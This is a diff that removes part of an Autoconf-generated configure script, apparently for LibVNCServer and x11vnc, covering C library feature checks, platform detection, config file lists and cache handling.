- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-
- /* Some versions of memcmp are not 8-bit clean. */
- char c0 = '\100', c1 = '\200', c2 = '\201';
- if (memcmp(&c0, &c2, 1) >= 0 || memcmp(&c1, &c2, 1) >= 0)
- return 1;
-
- /* The Next x86 OpenStep bug shows up only when comparing 16 bytes
- or more and with at least one buffer not starting on a 4-byte boundary.
- William Lewis provided this test program. */
- {
- char foo[21];
- char bar[21];
- int i;
- for (i = 0; i < 4; i++)
- {
- char *a = foo + i;
- char *b = bar + i;
- strcpy (a, "--------01111111");
- strcpy (b, "--------10000000");
- if (memcmp (a, b, 16) >= 0)
- return 1;
- }
- return 0;
- }
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_memcmp_working=yes
-else
- ac_cv_func_memcmp_working=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_memcmp_working" >&5
-$as_echo "$ac_cv_func_memcmp_working" >&6; }
-test $ac_cv_func_memcmp_working = no && case " $LIB@&t@OBJS " in
- *" memcmp.$ac_objext "* ) ;;
- *) LIB@&t@OBJS="$LIB@&t@OBJS memcmp.$ac_objext"
- ;;
-esac
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether lstat correctly handles trailing slash" >&5
-$as_echo_n "checking whether lstat correctly handles trailing slash... " >&6; }
-if ${ac_cv_func_lstat_dereferences_slashed_symlink+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- rm -f conftest.sym conftest.file
-echo >conftest.file
-if test "$as_ln_s" = "ln -s" && ln -s conftest.file conftest.sym; then
- if test "$cross_compiling" = yes; then :
- ac_cv_func_lstat_dereferences_slashed_symlink=no
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-struct stat sbuf;
- /* Linux will dereference the symlink and fail, as required by POSIX.
- That is better in the sense that it means we will not
- have to compile and use the lstat wrapper. */
- return lstat ("conftest.sym/", &sbuf) == 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_lstat_dereferences_slashed_symlink=yes
-else
- ac_cv_func_lstat_dereferences_slashed_symlink=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-else
- # If the `ln -s' command failed, then we probably don't even
- # have an lstat function.
- ac_cv_func_lstat_dereferences_slashed_symlink=no
-fi
-rm -f conftest.sym conftest.file
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_lstat_dereferences_slashed_symlink" >&5
-$as_echo "$ac_cv_func_lstat_dereferences_slashed_symlink" >&6; }
-
-test $ac_cv_func_lstat_dereferences_slashed_symlink = yes &&
-
-cat >>confdefs.h <<_ACEOF
-@%:@define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-_ACEOF
-
-
-if test "x$ac_cv_func_lstat_dereferences_slashed_symlink" = xno; then
- case " $LIB@&t@OBJS " in
- *" lstat.$ac_objext "* ) ;;
- *) LIB@&t@OBJS="$LIB@&t@OBJS lstat.$ac_objext"
- ;;
-esac
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether stat accepts an empty string" >&5
-$as_echo_n "checking whether stat accepts an empty string... " >&6; }
-if ${ac_cv_func_stat_empty_string_bug+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_stat_empty_string_bug=yes
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-struct stat sbuf;
- return stat ("", &sbuf) == 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_stat_empty_string_bug=no
-else
- ac_cv_func_stat_empty_string_bug=yes
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_stat_empty_string_bug" >&5
-$as_echo "$ac_cv_func_stat_empty_string_bug" >&6; }
-if test $ac_cv_func_stat_empty_string_bug = yes; then
- case " $LIB@&t@OBJS " in
- *" stat.$ac_objext "* ) ;;
- *) LIB@&t@OBJS="$LIB@&t@OBJS stat.$ac_objext"
- ;;
-esac
-
-
-cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_STAT_EMPTY_STRING_BUG 1
-_ACEOF
-
-fi
-
-for ac_func in strftime
-do :
- ac_fn_c_check_func "$LINENO" "strftime" "ac_cv_func_strftime"
-if test "x$ac_cv_func_strftime" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_STRFTIME 1
-_ACEOF
-
-else
- # strftime is in -lintl on SCO UNIX.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for strftime in -lintl" >&5
-$as_echo_n "checking for strftime in -lintl... " >&6; }
-if ${ac_cv_lib_intl_strftime+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lintl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char strftime ();
-int
-main ()
-{
-return strftime ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_intl_strftime=yes
-else
- ac_cv_lib_intl_strftime=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_intl_strftime" >&5
-$as_echo "$ac_cv_lib_intl_strftime" >&6; }
-if test "x$ac_cv_lib_intl_strftime" = xyes; then :
- $as_echo "@%:@define HAVE_STRFTIME 1" >>confdefs.h
-
-LIBS="-lintl $LIBS"
-fi
-
-fi
-done
-
-for ac_func in vprintf
-do :
- ac_fn_c_check_func "$LINENO" "vprintf" "ac_cv_func_vprintf"
-if test "x$ac_cv_func_vprintf" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_VPRINTF 1
-_ACEOF
-
-ac_fn_c_check_func "$LINENO" "_doprnt" "ac_cv_func__doprnt"
-if test "x$ac_cv_func__doprnt" = xyes; then :
-
-$as_echo "@%:@define HAVE_DOPRNT 1" >>confdefs.h
-
-fi
-
-fi
-done
-
-
-ac_fn_c_check_type "$LINENO" "pid_t" "ac_cv_type_pid_t" "$ac_includes_default"
-if test "x$ac_cv_type_pid_t" = xyes; then :
-
-else
-
-cat >>confdefs.h <<_ACEOF
-@%:@define pid_t int
-_ACEOF
-
-fi
-
-for ac_header in vfork.h
-do :
- ac_fn_c_check_header_mongrel "$LINENO" "vfork.h" "ac_cv_header_vfork_h" "$ac_includes_default"
-if test "x$ac_cv_header_vfork_h" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_VFORK_H 1
-_ACEOF
-
-fi
-
-done
-
-for ac_func in fork vfork
-do :
- as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
-ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var"
-if eval test \"x\$"$as_ac_var"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-done
-
-if test "x$ac_cv_func_fork" = xyes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for working fork" >&5
-$as_echo_n "checking for working fork... " >&6; }
-if ${ac_cv_func_fork_works+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_fork_works=cross
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-
- /* By Ruediger Kuhlmann. */
- return fork () < 0;
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_fork_works=yes
-else
- ac_cv_func_fork_works=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_fork_works" >&5
-$as_echo "$ac_cv_func_fork_works" >&6; }
-
-else
- ac_cv_func_fork_works=$ac_cv_func_fork
-fi
-if test "x$ac_cv_func_fork_works" = xcross; then
- case $host in
- *-*-amigaos* | *-*-msdosdjgpp*)
- # Override, as these systems have only a dummy fork() stub
- ac_cv_func_fork_works=no
- ;;
- *)
- ac_cv_func_fork_works=yes
- ;;
- esac
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: result $ac_cv_func_fork_works guessed because of cross compilation" >&5
-$as_echo "$as_me: WARNING: result $ac_cv_func_fork_works guessed because of cross compilation" >&2;}
-fi
-ac_cv_func_vfork_works=$ac_cv_func_vfork
-if test "x$ac_cv_func_vfork" = xyes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for working vfork" >&5
-$as_echo_n "checking for working vfork... " >&6; }
-if ${ac_cv_func_vfork_works+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_vfork_works=cross
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-/* Thanks to Paul Eggert for this test. */
-$ac_includes_default
-#include <sys/wait.h>
-#ifdef HAVE_VFORK_H
-# include <vfork.h>
-#endif
-/* On some sparc systems, changes by the child to local and incoming
- argument registers are propagated back to the parent. The compiler
- is told about this with #include <vfork.h>, but some compilers
- (e.g. gcc -O) don't grok <vfork.h>. Test for this by using a
- static variable whose address is put into a register that is
- clobbered by the vfork. */
-static void
-#ifdef __cplusplus
-sparc_address_test (int arg)
-# else
-sparc_address_test (arg) int arg;
-#endif
-{
- static pid_t child;
- if (!child) {
- child = vfork ();
- if (child < 0) {
- perror ("vfork");
- _exit(2);
- }
- if (!child) {
- arg = getpid();
- write(-1, "", 0);
- _exit (arg);
- }
- }
-}
-
-int
-main ()
-{
- pid_t parent = getpid ();
- pid_t child;
-
- sparc_address_test (0);
-
- child = vfork ();
-
- if (child == 0) {
- /* Here is another test for sparc vfork register problems. This
- test uses lots of local variables, at least as many local
- variables as main has allocated so far including compiler
- temporaries. 4 locals are enough for gcc 1.40.3 on a Solaris
- 4.1.3 sparc, but we use 8 to be safe. A buggy compiler should
- reuse the register of parent for one of the local variables,
- since it will think that parent can't possibly be used any more
- in this routine. Assigning to the local variable will thus
- munge parent in the parent process. */
- pid_t
- p = getpid(), p1 = getpid(), p2 = getpid(), p3 = getpid(),
- p4 = getpid(), p5 = getpid(), p6 = getpid(), p7 = getpid();
- /* Convince the compiler that p..p7 are live; otherwise, it might
- use the same hardware register for all 8 local variables. */
- if (p != p1 || p != p2 || p != p3 || p != p4
- || p != p5 || p != p6 || p != p7)
- _exit(1);
-
- /* On some systems (e.g. IRIX 3.3), vfork doesn't separate parent
- from child file descriptors. If the child closes a descriptor
- before it execs or exits, this munges the parent's descriptor
- as well. Test for this by closing stdout in the child. */
- _exit(close(fileno(stdout)) != 0);
- } else {
- int status;
- struct stat st;
-
- while (wait(&status) != child)
- ;
- return (
- /* Was there some problem with vforking? */
- child < 0
-
- /* Did the child fail? (This shouldn't happen.) */
- || status
-
- /* Did the vfork/compiler bug occur? */
- || parent != getpid()
-
- /* Did the file descriptor bug occur? */
- || fstat(fileno(stdout), &st) != 0
- );
- }
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_vfork_works=yes
-else
- ac_cv_func_vfork_works=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_vfork_works" >&5
-$as_echo "$ac_cv_func_vfork_works" >&6; }
-
-fi;
-if test "x$ac_cv_func_fork_works" = xcross; then
- ac_cv_func_vfork_works=$ac_cv_func_vfork
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: result $ac_cv_func_vfork_works guessed because of cross compilation" >&5
-$as_echo "$as_me: WARNING: result $ac_cv_func_vfork_works guessed because of cross compilation" >&2;}
-fi
-
-if test "x$ac_cv_func_vfork_works" = xyes; then
-
-$as_echo "@%:@define HAVE_WORKING_VFORK 1" >>confdefs.h
-
-else
-
-$as_echo "@%:@define vfork fork" >>confdefs.h
-
-fi
-if test "x$ac_cv_func_fork_works" = xyes; then
-
-$as_echo "@%:@define HAVE_WORKING_FORK 1" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for gethostbyname in -lnsl" >&5
-$as_echo_n "checking for gethostbyname in -lnsl... " >&6; }
-if ${ac_cv_lib_nsl_gethostbyname+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lnsl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char gethostbyname ();
-int
-main ()
-{
-return gethostbyname ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_nsl_gethostbyname=yes
-else
- ac_cv_lib_nsl_gethostbyname=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_nsl_gethostbyname" >&5
-$as_echo "$ac_cv_lib_nsl_gethostbyname" >&6; }
-if test "x$ac_cv_lib_nsl_gethostbyname" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBNSL 1
-_ACEOF
-
- LIBS="-lnsl $LIBS"
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for socket in -lsocket" >&5
-$as_echo_n "checking for socket in -lsocket... " >&6; }
-if ${ac_cv_lib_socket_socket+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsocket $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char socket ();
-int
-main ()
-{
-return socket ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_socket_socket=yes
-else
- ac_cv_lib_socket_socket=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_socket" >&5
-$as_echo "$ac_cv_lib_socket_socket" >&6; }
-if test "x$ac_cv_lib_socket_socket" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBSOCKET 1
-_ACEOF
-
- LIBS="-lsocket $LIBS"
-
-fi
-
-
-uname_s=`(uname -s) 2>/dev/null`
-if test "x$uname_s" = "xHP-UX"; then
- # need -lsec for getspnam()
- LDFLAGS="$LDFLAGS -lsec"
-fi
-
-for ac_func in ftime gethostbyname gethostname gettimeofday inet_ntoa memmove memset mmap mkfifo select socket strchr strcspn strdup strerror strstr
-do :
- as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
-ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var"
-if eval test \"x\$"$as_ac_var"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-done
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
- for ac_func in setsid setpgrp getpwuid getpwnam getspnam getuid geteuid setuid setgid seteuid setegid initgroups waitpid setutxent grantpt shmat
-do :
- as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
-ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var"
-if eval test \"x\$"$as_ac_var"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-done
-
-fi
-
-# check, if shmget is in cygipc.a
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for shmget in -lcygipc" >&5
-$as_echo_n "checking for shmget in -lcygipc... " >&6; }
-if ${ac_cv_lib_cygipc_shmget+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lcygipc $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char shmget ();
-int
-main ()
-{
-return shmget ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_cygipc_shmget=yes
-else
- ac_cv_lib_cygipc_shmget=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_cygipc_shmget" >&5
-$as_echo "$ac_cv_lib_cygipc_shmget" >&6; }
-if test "x$ac_cv_lib_cygipc_shmget" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBCYGIPC 1
-_ACEOF
-
- LIBS="-lcygipc $LIBS"
-
-fi
-
- if test "$HAVE_CYGIPC" = "true"; then
- CYGIPC_TRUE=
- CYGIPC_FALSE='#'
-else
- CYGIPC_TRUE='#'
- CYGIPC_FALSE=
-fi
-
-
-# Check if /usr/include/linux exists, if so, define LINUX
- if test -d /usr/include/linux; then
- LINUX_TRUE=
- LINUX_FALSE='#'
-else
- LINUX_TRUE='#'
- LINUX_FALSE=
-fi
-
-
-# Check for OS X specific header
-ac_fn_c_check_header_mongrel "$LINENO" "ApplicationServices/ApplicationServices.h" "ac_cv_header_ApplicationServices_ApplicationServices_h" "$ac_includes_default"
-if test "x$ac_cv_header_ApplicationServices_ApplicationServices_h" = xyes; then :
- HAVE_OSX="true"
-fi
-
-
- if test "$HAVE_OSX" = "true"; then
- OSX_TRUE=
- OSX_FALSE='#'
-else
- OSX_TRUE='#'
- OSX_FALSE=
-fi
-
-
-# Check for Android specific header
-ac_fn_c_check_header_mongrel "$LINENO" "android/api-level.h" "ac_cv_header_android_api_level_h" "$ac_includes_default"
-if test "x$ac_cv_header_android_api_level_h" = xyes; then :
- HAVE_ANDROID="true"
-fi
-
-
- if test "$HAVE_ANDROID" = "true"; then
- ANDROID_TRUE=
- ANDROID_FALSE='#'
-else
- ANDROID_TRUE='#'
- ANDROID_FALSE=
-fi
-
-if test "$HAVE_ANDROID" = "true"; then
-
-$as_echo "@%:@define HAVE_ANDROID 1" >>confdefs.h
-
-fi
-
-# On Solaris 2.7, write() returns ENOENT when it really means EAGAIN
-
-case `(uname -sr) 2>/dev/null` in
- "SunOS 5.7")
- $as_echo "@%:@define ENOENT_WORKAROUND 1" >>confdefs.h
-
- ;;
-esac
-
-# Check for rpm SOURCES path
-printf "checking for rpm sources path... "
-RPMSOURCEDIR="NOT-FOUND"
-for directory in packages OpenLinux redhat RedHat rpm RPM "" ; do
- if test -d /usr/src/${directory}/SOURCES; then
- RPMSOURCEDIR="/usr/src/${directory}/SOURCES/"
- fi
-done
-echo "$RPMSOURCEDIR"
- if test "$RPMSOURCEDIR" != "NOT-FOUND"; then
- HAVE_RPM_TRUE=
- HAVE_RPM_FALSE='#'
-else
- HAVE_RPM_TRUE='#'
- HAVE_RPM_FALSE=
-fi
-
- if test "$build_x11vnc" = "yes"; then
- WITH_X11VNC_TRUE=
- WITH_X11VNC_FALSE='#'
-else
- WITH_X11VNC_TRUE='#'
- WITH_X11VNC_FALSE=
-fi
-
-
-
-ac_config_files="$ac_config_files Makefile libvncserver.pc libvncclient.pc libvncserver/Makefile examples/Makefile examples/android/Makefile vncterm/Makefile webclients/Makefile webclients/java-applet/Makefile webclients/java-applet/ssl/Makefile libvncclient/Makefile client_examples/Makefile test/Makefile libvncserver-config LibVNCServer.spec"
-
-#
-# x11vnc only:
-#
-if test "$build_x11vnc" = "yes"; then
- #
- # NOTE: if you are using the LibVNCServer-X.Y.Z.tar.gz source
- # tarball and nevertheless want to run autoconf (i.e. aclocal,
- # autoheader, automake, autoconf) AGAIN (perhaps you have a
- # special target system, e.g. embedded) then you will need to
- # comment out the following 'AC_CONFIG_FILES' line to avoid
- # automake error messages like:
- #
- # configure.ac:690: required file `x11vnc/Makefile.in' not found
- #
- ac_config_files="$ac_config_files x11vnc/Makefile x11vnc/misc/Makefile x11vnc/misc/turbovnc/Makefile"
-
-
- if test ! -z "$with_system_libvncserver" -a "x$with_system_libvncserver" != "xno"; then
- # need to move local tarball rfb headers aside:
- hdrs="rfb.h rfbclient.h rfbproto.h rfbregion.h rfbint.h"
- echo "with-system-libvncserver: moving aside headers $hdrs"
- for hdr in $hdrs
- do
- if test -f "rfb/$hdr"; then
- echo "with-system-libvncserver: moving rfb/$hdr to rfb/$hdr.ORIG"
- mv rfb/$hdr rfb/$hdr.ORIG
- fi
- done
- echo "with-system-libvncserver: *NOTE* move them back manually to start over."
- fi
-fi
-
-ac_config_commands="$ac_config_commands chmod-libvncserver-config"
-
-cat >confcache <<\_ACEOF
-# This file is a shell script that caches the results of configure
-# tests run on this system so they can be shared between configure
-# scripts and configure runs, see configure's option --config-cache.
-# It is not useful on other systems. If it contains results you don't
-# want to keep, you may remove or edit it.
-#
-# config.status only pays attention to the cache file if you give it
-# the --recheck option to rerun configure.
-#
-# `ac_cv_env_foo' variables (set or unset) will be overridden when
-# loading this file, other *unset* `ac_cv_foo' will be assigned the
-# following values.
-
-_ACEOF
-
-# The following way of writing the cache mishandles newlines in values,
-# but we know of no workaround that is simple, portable, and efficient.
-# So, we kill variables containing newlines.
-# Ultrix sh set writes to stderr and can't be redirected directly,
-# and sets the high bit in the cache file unless we assign to the vars.
-(
- for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do
- eval ac_val=\$$ac_var
- case $ac_val in #(
- *${as_nl}*)
- case $ac_var in #(
- *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5
-$as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;;
- esac
- case $ac_var in #(
- _ | IFS | as_nl) ;; #(
- BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #(
- *) { eval $ac_var=; unset $ac_var;} ;;
- esac ;;
- esac
- done
-
- (set) 2>&1 |
- case $as_nl`(ac_space=' '; set) 2>&1` in #(
- *${as_nl}ac_space=\ *)
- # `set' does not quote correctly, so add quotes: double-quote
- # substitution turns \\\\ into \\, and sed turns \\ into \.
- sed -n \
- "s/'/'\\\\''/g;
- s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p"
- ;; #(
- *)
- # `set' quotes correctly as required by POSIX, so do not add quotes.
- sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p"
- ;;
- esac |
- sort
-) |
- sed '
- /^ac_cv_env_/b end
- t clear
- :clear
- s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/
- t end
- s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/
- :end' >>confcache
-if diff "$cache_file" confcache >/dev/null 2>&1; then :; else
- if test -w "$cache_file"; then
- if test "x$cache_file" != "x/dev/null"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5
-$as_echo "$as_me: updating cache $cache_file" >&6;}
- if test ! -f "$cache_file" || test -h "$cache_file"; then
- cat confcache >"$cache_file"
- else
- case $cache_file in #(
- */* | ?:*)
- mv -f confcache "$cache_file"$$ &&
- mv -f "$cache_file"$$ "$cache_file" ;; #(
- *)
- mv -f confcache "$cache_file" ;;
- esac
- fi
- fi
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5
-$as_echo "$as_me: not updating unwritable cache $cache_file" >&6;}
- fi
-fi
-rm -f confcache
-
-test "x$prefix" = xNONE && prefix=$ac_default_prefix
-# Let make expand exec_prefix.
-test "x$exec_prefix" = xNONE && exec_prefix='${prefix}'
-
-DEFS=-DHAVE_CONFIG_H
-
-ac_libobjs=
-ac_ltlibobjs=
-U=
-for ac_i in : $LIB@&t@OBJS; do test "x$ac_i" = x: && continue
- # 1. Remove the extension, and $U if already installed.
- ac_script='s/\$U\././;s/\.o$//;s/\.obj$//'
- ac_i=`$as_echo "$ac_i" | sed "$ac_script"`
- # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR
- # will be set to the directory where LIBOBJS objects are built.
- as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext"
- as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo'
-done
-LIB@&t@OBJS=$ac_libobjs
-
-LTLIBOBJS=$ac_ltlibobjs
-
-
- if test -n "$EXEEXT"; then
- am__EXEEXT_TRUE=
- am__EXEEXT_FALSE='#'
-else
- am__EXEEXT_TRUE='#'
- am__EXEEXT_FALSE=
-fi
-
-if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then
- as_fn_error $? "conditional \"AMDEP\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then
- as_fn_error $? "conditional \"am__fastdepCC\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${am__fastdepCXX_TRUE}" && test -z "${am__fastdepCXX_FALSE}"; then
- as_fn_error $? "conditional \"am__fastdepCXX\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_FFMPEG_TRUE}" && test -z "${WITH_FFMPEG_FALSE}"; then
- as_fn_error $? "conditional \"WITH_FFMPEG\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_MP3LAME_TRUE}" && test -z "${HAVE_MP3LAME_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_MP3LAME\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBSSL_TRUE}" && test -z "${HAVE_LIBSSL_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBSSL\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_X11_TRUE}" && test -z "${HAVE_X11_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_X11\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${OSX_OPENGL_TRUE}" && test -z "${OSX_OPENGL_FALSE}"; then
- as_fn_error $? "conditional \"OSX_OPENGL\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_SYSTEM_LIBVNCSERVER_TRUE}" && test -z "${HAVE_SYSTEM_LIBVNCSERVER_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_SYSTEM_LIBVNCSERVER\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBPTHREAD_TRUE}" && test -z "${HAVE_LIBPTHREAD_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBPTHREAD\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_TIGHTVNC_FILETRANSFER_TRUE}" && test -z "${WITH_TIGHTVNC_FILETRANSFER_FALSE}"; then
- as_fn_error $? "conditional \"WITH_TIGHTVNC_FILETRANSFER\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_WEBSOCKETS_TRUE}" && test -z "${WITH_WEBSOCKETS_FALSE}"; then
- as_fn_error $? "conditional \"WITH_WEBSOCKETS\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBZ_TRUE}" && test -z "${HAVE_LIBZ_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBZ\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
